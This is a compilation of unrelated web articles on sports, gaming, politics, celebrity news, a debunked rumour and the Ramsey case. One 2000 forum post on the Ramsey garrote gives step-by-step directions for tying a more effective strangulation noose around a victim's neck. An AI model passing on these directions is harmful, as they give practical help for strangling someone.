-Phil Baroni circled left and pawed out his jab. He promised himself he'd stay calm, patient, but that's easier said than done when your lifelong dream is staring you straight in the eye, so close you could reach out and snatch it.  All Baroni ever wanted was to win a world championship. To feel the belt hugging around his waist, his arms outstretched to the heavens. He had and lost so many chances before, back when fighting was a second priority to the vices of the night. But now, this was different. He was a changed man, and this was his moment to seize.  Nobutatsu Suzuki bulled forward, muscling Baroni against the fence. And then it happened.  "I knew right away," Baroni sighs.  "I was so close. I could taste it. I knew if I beat that guy, I was getting the fight. I've been dreaming my whole career for that fight."  Baroni was promised a shot at the inaugural ONE FC welterweight title if he defeated Suzuki on May 31. Instead, his ankle snagged in the cage, and the next thing Baroni knew, arena officials were trying to wheel him out on a stretcher, his right foot twisted the opposite way like a grotesque action figure. The bone, dislocated. The ligament, torn. Baroni's storybook ending had just become a nightmare.  Baroni traveled 12 days with the pain untreated, flying from Manila to San Francisco, driving to Santa Fe to pick up his belongings, then flying back to Las Vegas to finally undergo surgery. All the while, his mind raced. Was this it? Is this really how things would end? He'd dominated Suzuki for four minutes. Why couldn't he have just sealed the deal earlier?  Then came the diagnosis. First doctors said Baroni would be out of the gym at least a year. For a 13-year veteran who's fast approaching the big 4-0, that was precious time Baroni didn't have. He panicked, did some digging, asked a few acquaintances and discovered an experimental stem cell treatment available in Jamaica. An NFL player with a similar, but more severe, ankle injury vouched for Baroni on its effectiveness. If the procedure works, and Baroni catches a few breaks along the way, he may find himself back in the gym within six to nine months.  The thing is, Baroni is a fighter. It's what he does best. Treatment costs money -- a lot of money -- and if Baroni can't walk, he can't fight. If he can't fight, well, that income is a bit harder to come by.  "It worries me a lot. I'm not rich or making big bucks," Baroni sighs deeper.  "I could easily fall off the wagon right now on one leg. Roll up in my wheel, roll my ass into a casino, put the little money I won down on a f--kin' blackjack table and drinks. It'd be pretty easy. Maybe the old me would've done that, but I can't afford to do that. I need to save money and hopefully find some work."  Baroni knows he'll figure something out. He always does. Honestly, what's more frustrating is all the chatter, the incessant background noise. The crowd that just see the result of his fight -- a first round TKO loss -- scoff to themselves, then tell Baroni to hang up his gloves. They don't know what this meant to him; what it still does mean to him.  "A lot of people think I'm done," Baroni says. "I ain't going out like this, dude. I ain't going out breaking my ankle, getting carried out of the ring. The whole argument while I was on the ground, however long I was left in the ring, was because they brought out a stretcher. Motherf--kers, stand me up and carry me the f--k out. I ain't going out of the ring on a f--king stretcher. They're like, ‘But your ankle.' They wouldn't f--king do it. That's what took so long to get me out of the ring, because I was arguing with them. The last time I'm going out of a ring isn't going to be on no f--king stretcher. There's no f--king way. I'm not going out like that. I gave my life to this sport. I made a lot of sacrifices. I beat up my body and punished myself, but the last time I leave the cage is not going to be on a f--king stretcher with my foot twisted off. I had to walk out under my own power."  Last August I spoke with Baroni after he inked his deal to fight for ONE FC. That same deal guaranteed him a title shot if he won his first two bouts, and the thought of redeeming his career consumed him. It was all he talked about. He'd reshaped his life to fulfill this one goal. Gone were the neon succubi of Las Vegas nightlife, the backdoor poker games and four a.m. bingers. Baroni didn't want to become a forgotten man, one of the names we look back on and say, ‘He could've done so much more.'  A ONE FC title may seem trite to some, but in his eyes, it represented something far greater. Validation, in a sense. Validation that he still managed to get it done, even if it was in his eleventh hour.  Baroni said it himself back then, he just needed "a different ending to this f--king story." Now that mantra means more than it ever has before.  "This is the worst ending that I could ever imagine," Baroni says, dolefully eyeing the casted foot that rests on his living room table. "But it's just not going to be. I'm not going to let it be. I'm not even entertaining that. I know a lot of people are already counting me out. I know a lot of people think that's it. But that's not it. That's not it. I'm going to f--king get better and get back in there.  "The first day I put on a pair of boxing gloves, I wanted that fight. A world championship fight. I fought the Pride Grand Prix twice, I didn't win. I fought (Frank) Shamrock for the Strikeforce title, I didn't win. I was one fight away two times in the UFC to get a title shot. And f--k man, I still haven't gotten it. I still haven't won that world championship. I was right there. I felt great. I could almost taste it.  "It's not going to end this way," Baroni vows to himself. "I'm not going to let it end this way."
-Joey Davidson | Gaming Reviews & News Gallery by The Xbox One will finally see the New Xbox Experience launch tomorrow to the general public. This dashboard redesign will bring with it faster speeds, backwards compatibility and a, hopefully, better sense of organization. Looking back, the Xbox has absolutely changed over the years when its come to the dashboard. The menus have gone from simple to complex and clunky. Occasionally, they’ve even been well thought out. As we near the next iteration of the Xbox One’s dashboard, let’s take a look at how far we’ve come. The Original Xbox – 2001  gallery 1 2 Advertisement  The first Xbox’s dashboard never really changed all that much. It introduced the Xbox LIVE tab, let gamers user it as a CD player (those were the days) and offered sub menus to manage game memory and settings. It boasted iconic sounds and that classic green look, but it was a pretty barren experience otherwise. The Xbox 360 Blades – 2005 through 2008  gallery 1 6 Advertisement  If you ask most Xbox 360 fans, they’ll point to the original Blades dashboard as being one of their favorites. Sure, it screamed “Early 2000s” in its design, but it actually boasted a lot of information in a really easy to understand space. The swooshing of the blades as you switched between Xbox Live, Games, Media and System (Marketplace wasn’t added until later) is something a lot of us can still hear in our brains to this very day. This dashboard also introduced Achievements and interesting gamer profiles, something the Xbox brand probably doesn’t get enough recognition for today. The best part about this dashboard, though, was the introduction of the Xbox Button menu. This let you immediately open a smaller menu for fast navigation while playing games. You could change the song you were listening to, access your friends list or quickly hop to specific menus without breaking gameplay. This was a game changer back in 2005, and it was pretty awesome stuff. The Xbox 360 NXE – 2008 through 2011  gallery 1 6 Advertisement  And here’s where we start the bad stuff. The NXE (called the New Xbox Experience, much like what we’re getting tomorrow) introduced Avatars and really crazy dashboard themes. Its theme was based on the Zune and Windows Media Center, and the Guide button was now a bit more robust. The dashboard allowed for disc installation, too. Fans hated it because it simply didn’t display enough information at once, often wasting screen space. This dashboard only made it three years before being replaced. It was updated in 2010 to include Kinect support, though that update wasn’t a complete overhaul. The Xbox 360 Metro Design – 2011 through Today  gallery 1 6 Advertisement  What we have on the Xbox 360 now was introduced in 2011, back when Windows Metro was a thing. Microsoft went for a clean and modern approach, and this is probably closest to what we see on the Xbox One currently. The dashboard placed a huge emphasis on applications like Netflix, Microsoft’s own video service, the marketplace and, yes, ads. This dashboard had tons of ads. Welcome to the future, friends. At least it looks nice. This dashboard made use of the Kinect, too. That fact played a large role in its big design scheme. The Current Xbox One Dashboard – 2013 through 2015  gallery 1 7 Advertisement  The Xbox One’s current dashboard is a lot like what users see with Windows 8’s start menu. It’s a pile of pins and applications in square design over several swipes of information. Quite honestly, it’s not very good. This interface has undergone constant small tweaks since its introduction, including stuff like a battery life indicator and a better snapping system. The UI made way for some unique features, but what it boasts in additions and loses in speed. The Xbox One’s current dash is slow, and that’s a big reason why Microsoft is dropping the New Xbox One Experience. The New Xbox One Experience – 2015 and beyond  gallery 1 7 Advertisement
-BRUSSELS (Reuters) - European Union governments will this week question how to best use their economic ties with Egypt to pressure Cairo’s army-backed rulers into finding a peaceful compromise with supporters of deposed Islamist President Mohamed Mursi.  President of the European Council Herman Van Rompuy listens to Malta's Prime Minister Joseph Muscat's reply to his address to the Maltese parliament in Valletta July 11, 2013. REUTERS/Darrin Zammit Lupi  At stake could be a 5 billion euro ($6.7 billion) package of grants and loans promised by the EU, its member governments and international financial institutions last year, as well as various trade incentives, EU officials and experts say.  The EU’s ability to exert immediate economic pressure on Cairo is limited - much of its current aid is already stopped because of inadequate democratic reforms.  But the hope is that such a signal could help end a bloody crackdown by the government against Mursi’s Muslim Brotherhood, in which around 800 people have died, and prevent further bloodshed between the two sides.  President of the European Council Herman Van Rompuy and European Commission President Jose Manuel Barroso, two of the most senior EU officials, said in a statement on Sunday the 28-member bloc should “urgently review” its relations with Cairo to try to end the violence.  Senior EU diplomats will meet in Brussels on Monday to decide which areas of economic cooperation could be targeted and prepare a possible meeting of EU foreign ministers to be held in the next two weeks.  “Egypt is a key partner of the European Union,” the two officials said. “Further escalation must be prevented. It could have unpredictable consequences for Egypt and for its broader neighborhood.”  In the past days, a host of European foreign ministers have raised the specter of suspending economic aid.  France’s Laurent Fabius has said “nothing could be ruled out” in terms of aid policy.  “What is evident is that we must quickly stop the bloodshed and reach an inter-Egyptian dialogue. It is not easy of course. We have to mobilize all our energies so that a solution is found by Egyptians,” he told reporters on Sunday.  Austria’s Michael Spindelegger called on the EU to withhold its main aid deal.  “This is my demand: The 5 billion have to be held back until the process returns to democracy,” he said in an interview with the newspaper Kurier published on Sunday.  Experts and officials said Brussels could also threaten to suspend a broad deal dating back to 2001, which includes provisions for free trade in industrial goods and concessionary arrangements for trade in agricultural products, as well as broader political cooperation and a cultural exchange.  TREADING CAREFULLY  The United States and the European Union have tried jointly to facilitate a peaceful, political solution to the stand-off between the army and the Muslim Brotherhood of Mursi, Egypt’s first freely elected president.  But since the army crackdown on pro-Mursi protests started on Wednesday, the focus of international involvement has shifted. In choosing its next steps, the EU will have to tread carefully in who it targets with any new measures.  Along with Washington, it needs to balance the need to support democratic principles with a vital interest in the stability in the Arab world’s most populous nation.  Cutting off aid completely could damage support to the civil society which now benefits from the vast majority of EU cash. Since 2012, no new funds have been approved for direct budget support in Cairo, because of a lack of reforms.  It could also damage Europe’s ability to mediate between the two sides in the future. European commercial interests could weigh, as well.  “Some will say ... Why do want to push the Egyptian market into the hands of Chinese,” said Daniel Levy, Middle East director of the European Council on Foreign Relations think-tank.  On the other hand, he said, the specter of severing broader commercial ties could, in time, push the Egyptian business elites to pressure the army into political dialogue with the Muslim Brotherhood.  “(They) ... will also be uncomfortable and they will start sending internal signals,” he said. ($1 = 0.7500 euros)  (Corrects date of EU deal with Egypt in par 13)
-The New York Court of Appeals will hear arguments against recognition of same-sex marriage today, City Room reports:  "The judges of the state’s Court of Appeals will consider two cases [pdf] brought by opponents of same-sex marriage.  In one case, the opponents are challenging a 2007 policy, adopted by the State Department of Civil Service, that extended health insurance benefits to the same-sex partners of state and local government employees who married out of state.  In the other case, the opponents are seeking to overturn a similar administrative order, issued in 2006 by Andrew J. Spano, the Westchester County executive, directing county officials to recognize same-sex unions performed elsewhere.  The opponents are represented by the Alliance Defense Fund, based in Scottsdale, Ariz., which argues that both orders were 'illegal, unconstitutional, and resulted in the unlawful disbursement of public funds,' according to a summary of the cases provided by the Court of Appeals.  In both cases, trial and midlevel appellate courts have found that recognition of same-sex marriages by Mr. Spano and the Department of Civil Service were 'valid exercises of their authority,' the summary noted."  In related news, State Senator Tom Duane is saying a marriage equality vote could come before election day.
-The life of a pop act can be pretty tough, and no one probably knows that more than Brit/Irish pop sensation, One Direction. In the span of four years, the quintet has secured a heavy fan base, sold-out stadiums and arenas all around the world, and have had all three of their albums; Up All Night, Take Me Home and Midnight Memories, debut at the top of the charts. Just days ago, it was announced that they would be headlining another tour in Australia for 2015, interestingly titled On The Road Again Tour. It should be noted that the band has just started a tour; the Where We Are Tour, in support of Midnight Memories. On top of that, One Direction is currently recording the follow up to Midnight Memories, although that album was just released back in November, only six months ago. Also, a rumored sequel has been planned for their documentary/concert film, This Is Us. Pop acts can be fickle and they always have to evolve in some way, but are the boys of One Direction going in too many directions too quickly?  Coming together on the UK version of the X-Factor back in 2010, group members Niall Horan, Liam Payne, Zayn Malik, Harry Styles and Louis Tomlinson received an early warning from their soon-to-be-manager, Simon Cowell, on just how crazy things would get if they succeeded in winning the competition. Although they did not (they placed third), they were still propelled into the spotlight, partially due to being signed by Cowell. It seems as if they have not had time to look back since. In their movie This Is Us, Karen Payne, the mother of Liam, wistfully looks upon a cardboard cut out of him while mentioning that her young son has not had much downtime since One Direction came into fruition.  “I always knew he would make it big”, she says, “but never like this.” Her smile in that moment holds momentarily before she breaks down in tears. “He goes away for so long.” The sentiment is repeated seconds later by Robin Twist, the stepfather to Harry Styles. “Harry went to an audition and he never came home again,” he admitted.  While the boys may be living grand lives that have taken them in so many directions, it has also reaped many rewards for them. Just recently, the Sunday Times exposed that One Direction has become the richest boy band in British history, taking in around £70 million (or $118 million, in American currency). Their fan base, affectionately called “Directioners,” have helped the young men along a high-powered journey and stronger still, they have been instrumental, and sometimes, not so instrumental, in allowing the group to have lives that most could only dream of.  Along with the second movie and their fourth album, the band recently signed a contract in 2013 to extend their deal with Syco Entertainment, a joint production company owned by Cowell and Sony Music. The details state that over the next three years, the group will release three more albums – two of original material and one compilation album. However, there is also a clause that expresses that if one member chooses to walk away at any time, the pockets of all five members will suffer. “If one of them walks away before [the contract expires], then all five miss out on the money,” an insider revealed to The Sun.  The “on” button seems to be stuck in its position when it comes to the group. While other artists take breaks with no excuse needed or required, it is easy to realize why it was such a surprise when Liam Payne revealed at the 2014 BRIT Awards that he had not been around the other members in nearly three months. Rumors began to swirl that the group was on the verge of a break-up when truthfully, they only had some time off. Be that as it may, there are some very obvious cracks beginning to show in the foundation of One Direction.  In early April, the fivesome released the video for their current single, You and I. Although it was simplistic at best, it was hard to ignore that some of the young members of the group looked a bit haggard in their personal appearances. In some behind-the-scenes clips of the video shoot, the location where the video was filmed, Clevedon Pier in Sommerset, England, as well as the cold weather, is blamed for the shoot being uncomfortable. Also, the boys are aging and one would not expect them to look the same way they did around four years ago. However, the change has been so drastic, it is almost a bit frightening to truly take hold of.  It is probably the very first view that things in the world of One Direction are turning a bit manic. Although the group has always seemed grateful with the success they have obtained, it is questionable if that success would continue if they took some much needed downtime that lasted longer than a few months. Of course, it makes sense that it would, so there should be no issue if the boys had somewhat of a break, right? Sadly, probably not.  The world is a place where the faces and popularity of pop acts change at a heavy pace. Just last year, the Aussie pop-rock group, 5 Seconds of Summer, were nearly unknown to the public outside of their home continent. Now, following their roles as the opening act in One Direction’s Where We Are Tour, they are poised to have a major breakthrough of their own with their first studio album being set for release in late June.  In truth, musicians who have so much against them must work even harder than most to even get to play a little. But how much work can five young men go through without being able to take a much needed rest? It is easy to see One Direction are going in too many directions for the sake of remaining popular. However, the scary notion is that one day, they may actually burn up as opposed to burning out.  Opinion by Jonathan Brown  Idolator  Metro  Guardian Liberty Voice
-New signing Philippe Gilbert could link up with Tom Boonen for the Tour of Flanders, says Etixx Quickstep directeur sportif, Wilfried Peeters. The Belgian team signed Gilbert on a one-year contract for 2017, and with Boonen set to race his final season in the pro-ranks, the veteran pair will race on the same trade team for the first time. Related Articles Gilbert signs with Etixx-QuickStep  Gilbert says goodbye to BMC at Il Lombardia  Boonen not expecting any special birthday presents at World Championships  Lefevere: I've never seen Boonen so disappointed  Gilbert ordered to repay Omega Pharma-Lotto 300,000 Euros  "We've spoken with Tom about the programme for next year and things look good but we still need to make the final decisions at the next training camp," Peeters told Cyclingnews.  "At the moment Tom is on track. He's doing some mountain biking and some cyclo-cross to keep fit over the winter and we're just treating it like any other off-season. We don't yet know about his first race. It could be Qatar but again we don’t know the final plans until we have our camp in December."  Although Boonen and Gilbert have a combined age of 70 they have amassed two world road racing titles and ten Monuments between them. Along with riders such as Niki Terpstra they will provide formidable firepower in next year's Classics campaign. For now though, Peeters believes that the team must plan thoroughly and keep their focus.  "With Gilbert and Tom they know each other well and that means they can help each other win. For a race like Flanders we always have a plan and Gilbert is, like Tom, also one of the guys who can win a race like that. It's possible that they race together there but again nothing is confirmed yet, we still need to make things certain at our camp.  "We don't know yet Philippe's programme. It's an option that he does some races like Flanders. We will have a meeting with him soon and then plan for the season."  Much of next spring will been dominated by Boonen's final outings in the classics. He is set to retire after Paris-Roubaix and Peeters is keen for both his rider and the team to treat the circumstances as they would any other season.  "You can't think too much about Tom stopping. What Tom needs to do is have a good winter and keep his focus, which I'm sure he will. When it comes to racing he can't think about the end, he and the rest of the team just needs to concentrate on the next race coming up.  "When I retired my last race was Paris-Tours and we won that race with Richard Virenque. I made the decision to stop during the season, so it's not quite the same scenario for Tom because at the start of that year I didn't know if I would continue or not but I had a good final race in Roubaix and during Suisse I decided to stop. I kept me race head on for the rest of the year though."
-George R.R. Martin is once again assuring fans that he will finish the A Song of Ice and Fire series in seven books and that the HBO show Game of Thrones won't catch up to him. He might be the only one who still believes this.  Martin spoke to Entertainment Weekly on Tuesday to respond to the growing sense that his ever-expansive fantasy series won't be finished in seven books. "My plan is to finish in seven," Martin said. "But my original plan was to finish in three. I write the stories and they grow." That's not exactly a confidence-inspiring statement.  Martin's comments come after Martin's editor Anne Groell answered a question about the series' length and said she was starting to "wonder" if seven would be enough, and hinted about "maybe eight books."  I begin to wonder—though 7 is what we currently have under contract. I remember when he called me, years and years back, to confess that his little trilogy was…well…no longer a trilogy. He predicted four books. I said Seven Books for Seven Kingdoms. Then he said five books. I said Seven Books for Seven Kingdoms. Then he went to six. I said… Well, you get it. Finally, we were on the same page. Seven Books for Seven Kingdoms. Good. Only, as I recently learned while editing THE WORLD OF ICE AND FIRE (another awesome thing you must buy when it comes out!), there are really technically eight kingdoms, all having to do with who has annexed what when Aegon the Conqueror landed in Westeros. So, maybe eight books for Seven Kingdoms would be okay.  Groell has worked with Martin from the beginning of the book series and has been saying there would be seven books since early on in the writing process. So she certainly is an expert on Martin's abilities and tendencies. Each book has taken longer and longer to write, with a five-year period to write book four and six years to finish book five, which came out in 2011.  In the Entertainment Weekly interview, Martin again emphasized his hopes that he would finish the series before the HBO show. The show-runners have said they will finish in seven or eight seasons, or about three-to-four years from now. Martin finishing two more books in that short period already seemed unlikely; the possibility of an eighth book would rule it out entirely.  But Martin is sticking to his belief that the show won't actually finish in seven or eight seasons. "I don’t think it will be enough to tell the story we’re telling in the books," he said. He advocates that HBO avoid passing the show by making staggered feature films. But HBO — a television subscription channel first and foremost — hasn't really warmed to that idea of stopping the show for a movie.  Martin is definitely still in control of the book series and the Thrones canon. But with both his editor and the show doubting his espoused plan, Martin's credibility on the series' future is just sinking lower and lower.
-Claim: Orthodox jews engage in marital relations through a hole in a sheet.  FALSE  Origins: Common to the human experience is the desire to bask in the sure and certain knowledge those who adhere to different practices have it much worse than we do. Part of belonging to any group is the need to believe it’s the best of its kind, and that holds true even when the groups in question are different religions, or even sects within the same religion. One needs to feel comforted one has made the right choice and is indeed upon the  right path, after all. Consequently, bits of wild misinformation about what goes on in the other camp often get circulated as truth because these tales serve to confirm the rightness of one’s own choice.  Such is the case with the “sex through a hole in the sheet” rumor. None of the three branches of Judaism (Orthodox, Conservative, or Reform) require this of their adherents, and indeed taking the joy out of marital sex in such a fashion runs directly counter to all things Jewish. Whereas in some branches of religion sex within marriage is supposed to be primarily for the purposes of procreation, throughout Judaism it’s viewed as a celebration of couplehood — man and wife are supposed to enjoy each other, whether kids are the goal of the encounter or not.  Indeed, not making love to your wife can call rabbinical sanction down upon the head of a Jewish man or even provide grounds for divorce.  The times for conjugal duty prescribed in the Torah are: for men of independence, every day; for laborers, twice a week; for ass-drivers, once a week; for camel-drivers, once in thirty days; for sailors, once in six months. These are the rulings of Rabbi Eliezer.  In a world that made sense, this rumor about joyless sex would better adhere to just about anyone other than Jews. Ah, but sometimes things just aren’t logical.  Interestingly enough, a 1995 article in the Jerusalem Post said about modesty practices in other cultures, “[I]n Catholic Mexico of yore with the use of modesty bed sheets with carefully stitched and positioned holes in them.” Looks like its writer confused a scene from the 1992 film Like Water For Chocolate with reality. (See the Sightings section at the end of this page for more about that film.)  One guess as to the origin of the slit sheet belief postulates it as a joking reference to ultra-Orthodox weddings, where men and women are said to attend separate receptions by way of dividing the hall with a curtain. Through a hole in the curtain, the children can pass through, but no one else.  However, according to the soc.culture.jewish FAQ:  We don’t know what you’ve heard, but what we’ve heard is that when it comes time for three men to “witness” a woman’s conversion [involving nude immersion], what’s commonly done is for the water’s surface to be covered with a thick, opaque sheet with a hole in it, just big enough to let her head through while discreetly shielding the rest of her body. We don’t know what you’ve heard, but what we’ve heard is that when it comes time for three men to “witness” a woman’s conversion [involving nude immersion], what’s commonly done is for the water’s surface to be covered with a thick, opaque sheet with a hole in it, just big enough to let her head through while discreetly shielding the rest of her body. According to a Jewish “urban legend,” the myth derives from seeing Jews in religious neighborhoods hanging their “talitot katan” out to dry. This poncho-like garment is about two feet by four feet, has a fringe on each corner, and a hole in the center for the wearer’s head, and it looks somewhat like a small sheet with a hole, and many people have vivid and warped imaginations.  This rumor spreads chiefly among non-Orthodox Jews and is not often heard from those of other faiths. Whatever this snippet of misinformation’s beginnings, the whisper about holes in sheets has become a part of Jewish lore that reflects attitudes towards the fabled strictness of Orthodox practices. To even hint sexuality between man and wife — a vibrant part of Judaism — has been squelched to this degree within the Orthodox branch is to strike at the heart of all things Jewish. Nothing could better capture the presumption about how joyless life must be within the Orthodox faith.  But that’s not the way of it at all. Shmuel Boteach, author of the acclaimed Kosher Sex: A Recipe for Passion and Intimacy labels the sheet rumor as utterly false. “Judaism,” he says, “is the one religion that not only allows sex for pleasure but sees sex as the holiest of all acts because it brings life into the world — and even when it doesn’t, it sews two people together as one flesh, one soul.” This tenet of the religion holds true across all branches of Judaism, including the heavily-governed Orthodox.  Barbara “short sheeted” Mikkelson  Sightings: This belief turns up as a scene in the 1992 film Como agua para chocolate (Like Water For Chocolate), which is set in the late 1800s. After the wedding of a young Mexican couple, a scene from the wedding night shows the new wife nervously arranging a sheet over herself. Also, Simon Louvish’s 1986 book The Death of Moishe-Ganef uses the sheet belief as a plot point.  Last updated: 8 February 2015  Sources:
-The Knesset passed Monday a law penalizing persons or organizations that boycott Israel or the settlements, by a vote of 47 to 38.  Prime Minister Benjamin Netanyahu was not present during the vote. MK Zeev Elkin (Likud), who proposed the law, said the law is not meant to silence people, but "to protect the citizens of Israel."  Members of the Knesset voting on a bill, July 11, 2011 Michal Fattal  According to the law, a person or an organization calling for the boycott of Israel, including the settlements, can be sued by the boycott's targets without having to prove that they sustained damage. The court will then decide how much compensation is to be paid. The second part of the law says a person or a company that declare a boycott of Israel or the settlements will not be able to bid in government tenders.  MK Nitzan Horowitz from Meretz blasted the law, calling it outrageous and shameful. "We are dealing with a legislation that is an embarrassment to Israeli democracy and makes people around the world wonder if there is actually a democracy here," he said. Ilan Gilon, another Meretz MK, said the law would further delegitimize Israel.  Kadima opposition party spokesman said the Netanyahu government is damaging Israel. "Netanyahu has crossed a red line of political foolishness today and national irresponsibility, knowing the meaning of the law and it's severity, while giving in to the extreme right that is taking over the Likkud."  On Sunday, Prime Minister Benjamin Netanyahu held discussions with Speaker of the Knesset, Reuven Rivlin and MK Elkin. The three discussed whether to have the Knesset vote on the law on Monday, a day after MK Dan Meridor warned that approving the law on the same day of the Quartet meeting may cause damage to Israel. Before midnight on Sunday the prime minister's office announced there is no reason to delay the vote.  Before the vote, the Knesset's legal adviser, attorney Eyal Yanon, published a legal assessment saying parts of the law edge towards "illegality and perhaps beyond." He went on to warn that the law "damages the core of freedom of expression in Israel." Yanon's assessment contradicts that of Attorney General Yehuda Weinstein, who said the bill is legal.  Peace Now movement announced Monday it opened a Facebook page calling for a boycott of products that come from the settlements. On Tuesday it plans to launch a national campaign, with the aim of convincing tens of thousands of people to support the boycott.
-China’s ruling bodies are said to be reassessing the country’s blanket-ban on videogame consoles, some 13 years after the ruling was first made law.  An anonymous government source is alleged to have said that the seven ministries that imposed the ban on sale and import of game consoles across China are now evaluating the legislation.  The ministry of culture source has stated, “We are reviewing the policy and have conducted some surveys and held discussions with other ministries on the possibility of opening up the game console market. However, since the ban was issued by seven ministries more than a decade ago, we will need approval from all parties to lift it.”  It comes as Sony set up a base in China last year, geared towards training inductees in development practices, and as Microsoft’s Kinect has made its way into several facets of life for educational and practical applications.  Commenting on the rumour via Reuters, SCE rep Yoshiko Uchiyaman simply stated, “China [is] a promising market for our business, and we are always considering and preparing business opportunities and possibilities.”  We’ll have more on the matter as it comes.  Thanks GI.biz.
-An addition to the Analysis of the Garrott  To All  As far as I know, no one has actually challenged what I allege to be proof of the amateurism at the garrote scene. Still, there are those (mostly on other forums) who continue to express or imply that the knots are "complicated," "sophisticated" and "professional." The inference is that no "ordinary folk" are capable of creating this scene. The further inference is that the Ramseys are incapable of this, therefore innocent. If you will bear with on what promises to be a rather long winded analysis, I will try again to lay this "professional" nonsense to rest.  Every scene, crime scene or otherwise, is usually made up of several elements. Being knowledgeable in one or some does not assure being knowledgeable in all. For instance, I am quite knowledgeable about ropes, knots and that sort of thing, but if the area of investigation were about computers, setting up web pages and that sort of thing, I would probably take a back seat to at least 90% of the posters. Forgetting this fact of specific knowledge often leads to the acceptance of "expert opinion" that is in error.  Autopsy report:  "Wrapped around the neck with a double knot in the midline of the posterior neck is a length of white cord similar to that described as being tied around the right wrist. This ligature cord is cut on the right side of the neck and removed. A single black ink mark is placed on the left side of the cut and a double black ink mark on the right side of the cut. The posterior knot is left intact. Extending from the knot on the posterior aspect of the neck are two tails of the knot, one measuring 4 inches in length and having a frayed end, and the other measuring 17 inches in length with the end tied in multiple loops around a length of a round tan-brown wooden stick which measures 4.5 inches in length."  I certainly am not equipped to question Dr. Meyer's medical know how, but he is obviously very unknowledgeable about ropes and knots. The mental picture I got from Dr. Meyers description is far different than the mental picture I get from observing the relevant photos. His description is horribly erroneous.  There is no double knot in this scene, hence no two leads leading away from a double knot. A double knot by definition is two knotting throws. It does not exist here. There is a single knot preceded by two or three turns of the cord around itself, but only one knotting action. The short lead does trail from the knot. The long part to the handle is simply the distance from the small loop to the handle. It is a continuation away from the loop around the neck and is not connected to nor interrupted by any knot.  We shall later look more at the flaws here, but first, let's establish something of a background of realistic professional to use as a reference.  If you have ever seen a calf roping\tying contest in person or on tv, you may have noticed the contestant shaking out the lasso just prior to start. The shaking out it to get the lasso dimensions suitable to the task out hand. This shaking out is possible because the small loop at the end of the rope allows free travel of the main line for the adjustment of size. This small loop is fixed by design so that it will not slip and change size, thus compressing upon the main line and reducing free movement.  Without this fixed small loop and with compression, upon every use, the contestant could not shake out the lasso, but would have to use both hands and considerable time to back off the compressed small loop in order to put the lasso back to the dimensions wanted. Ergo, a small loop that is not fixed and will compress is very unprofessional. This is all basic understanding in the construction and use of a lasso by whatever name and whatever application.  In none of these contests will you ever see a contestant throw a rope over the calf's neck and then construct the lasso. Yes, the image is quite ridiculous. It is just as ridiculous elsewhere, but perhaps not a noticeable to most. By the wildest stretch of imagination, I cannot think of a single instance in which construction of a lasso on the object makes any "professional" sense. It appears that in such a circumstance, the lasso element is more accidental than intended; or the construction was not for use, but for show.  I get the impression that most of you are not all that familiar with garrotes, ropes, knots and that sort of thing. Good. If you will visually go along with me, you can help me make the point that what is found at the crime scene is not professional, but an amateur following intuitive prompts. By intuitive prompts, I mean letting the circumstance dictate the next move as opposed to a knowing operation.  Lets' assume that staging is called for. For various reasons, some options are rejected. The idea settled on is garroting. Your knowledge of garrotes and garroting is limited to knowing it has something to do with strangulation with a rope or something and involves a handle.  You have in your possession a nylon cord about four or five feet long. A paint brush will provide the handle. You start from the basic of straddling the face down victim for comfort of operation. It is noticed that the arms are in the way. They are moved to an overhead position to get them out of the way.  The next move is to take one end of the cord and run it under the throat and around the neck. You see that the circuit must be completed to effect a loop for strangulation. Obviously, this means connecting the cord to itself in something of a circle. This can be done in several ways, but let's look at it from the viewpoint of what is shown in the photo.  You are holding the long part of the cord in your left hand. The shorter part that has been brought around the neck is in your right hand. (Although its all one cord, the long cord refers to the part in the left hand and the short cord refers to the part in the right hand which has traveled around the neck.) You need to make some kind of connection of the short cord to the long cord. Visual dictates the short cord in your right hand over and under (or vise versa) the long cord in your left hand. (Where else could you go other than tying a single or double knot like a shoe string tie, and this would slip?)  You can't just drop it here as it would just fall apart and not create a stable noose. What's next? You need to anchor the completed circuit in some way. How? You need some kind of knotting and holding action. What is the most obvious means? The short cord which has been looped around the long cord is wrapped around itself. What now? There is an opening at the point where the short cord is looped around the long cord. The end of the short cord is put through this opening to create the knotting action. End of story. Real complicated, huh?  The photos shows the short cord wrapped around itself two or three times before the end is passed through the opening and the single knot created. Why two or three times? Amateur again. There is no advantage here any more than there is in the many turns around the handle. In fact, is also detrimental as it creates a bit of a back pressure that tends ever so slightly to undo the single knot.  Complicated? Professional? Hardly. Following the intuitively "obvious" is precisely what resulted in the many flaws. As further illustration, let's correct just one of the flaws.  The finished product in the photo shows the short cord traveling on the left side of the neck in a clockwise direction. It is compressed against the main cord. This means an action to reduce the size of the loop for strangulation would tend to back out the short lead and undo the knot.  Let's go back to the point where the short cord is looped around the long to create the noose. Now we want to anchor it. Let go of the long cord in your left hand and grasp the short cord near where if comes over the long cord. Now take the end of the short cord and run it under the cord across the back of the neck. Bring the end up to your left hand and over where you are holding. Now bring the end through the loop created by this action. This creates a knot that is not affected by the motion of the garrote. A bit more complicated? Sure, but that's what it takes for efficiency. That's the point.  Even thought this design still has the flaw of slipping and compressing the cord restricting travel, it will hold no matter what. The short lead is now going counterclockwise around the neck. Again, this is elementary stuff to any and all with even minimal experience in this area.  What I'm trying to do here is the same as the original analysis. I am trying eliminate all the nonsense about "professional" and see what kind of theory John Ramsey or Lou Smit can come up with without the illusion of "professional."  Needless to say, I am available to respond to any and all questions regarding my analysis. No one is excluded. Ramsey, Smit, "believers", "just curious", or a hundred attorneys. Its all the same to me. delmar@ct.net Copyright at Common Law, Delmar England, 2000. All Rights Reserved.
-For Phantasy Star Online fans, the fact that the only English version of the game belongs to Southeast Asia has always been a bitter pill to swallow. Sure, you could hide your non-SEA IP address behind a proxy or VPN, but to many it seemed unnecessary. It was bad enough that after three years of promises the game was still not (officially) available to Americans and the US version of the game’s website had still not been updated…but to give it to another territory, *in English* even, soured many fan’s attitudes.  Which brings us to today’s news that the IP block for PSO 2’s SEA version has been removed, allowing anyone who wants to play the game’s only English language version to do so without any trickery.  Phantasy Star Online 2 is a free-to-play game and has been critisized by some as being a “play-to-win” experience, so would-be players might want to take that into account before diving in. You can take the plunge yourself by registering for and downloading the game on their official website.
